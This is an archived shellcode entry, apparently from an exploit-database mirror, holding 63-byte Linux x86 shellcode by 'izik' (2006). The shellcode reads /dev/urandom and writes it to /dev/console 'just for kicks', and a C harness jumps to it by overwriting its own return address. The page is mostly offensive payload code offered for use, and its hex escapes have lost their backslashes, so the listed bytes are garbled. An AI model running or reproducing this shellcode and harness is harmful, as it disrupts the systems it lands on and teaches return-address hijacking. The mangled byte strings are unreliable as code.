[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : linux/x86 cat /dev/urandom > /dev/console, just for kicks - 63 bytes
# Published : 2006-01-21
# Author : izik
# Previous Title : linux/x86 execve(/bin/sh) / PUSH - 23 bytes
# Next Title : linux/x86 Connect Back shellcode 90 bytes


/*
 * (linux/x86) cat /dev/urandom > /dev/console, no real profit just for kicks - 63 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x31xc9"              // xor %ecx,%ecx 
	"x51"                  // push %ecx 
	"x68x6ex64x6fx6d"  // push $0x6d6f646e 
	"x68x2fx75x72x61"  // push $0x6172752f 
	"x68x2fx64x65x76"  // push $0x7665642f 
	"x89xe3"              // mov %esp,%ebx 
	"xb1x02"              // mov $0x2,%cl 

	//
	// <_openit>:
	//

	"x6ax05"              // push $0x5 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"xcdx80"              // int $0x80 
	"x96"                  // xchg %eax,%esi 
	"x5f"                  // pop %edi 
	"x5d"                  // pop %ebp 
	"x5d"                  // pop %ebp 
	"x68x73x6fx6cx65"  // push $0x656c6f73 
	"x68x2fx63x6fx6e"  // push $0x6e6f632f 
	"x57"                  // push %edi 
	"xe2xe9"              // loop <_openit>
 
	"x89xc3"              // mov %eax,%ebx 

	//
	// <_makeio>:
	//

	"xb2x04"              // mov $0x4,%dl 
	"x89xe1"              // mov %esp,%ecx 

	//
	// <_pre_ioloop>:
	//

	"xb0x03"              // mov $0x3,%al 
	"xf8"                  // clc 
	
	//
	// <_ioloop>:
	//

	"xcdx80"              // int $0x80 
	"x87xde"              // xchg %ebx,%esi 
	"x72xf7"              // jc <_pre_ioloop> 
	"xf9"                  // stc 
	"xebxf7";             // jmp <_ioloop> 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]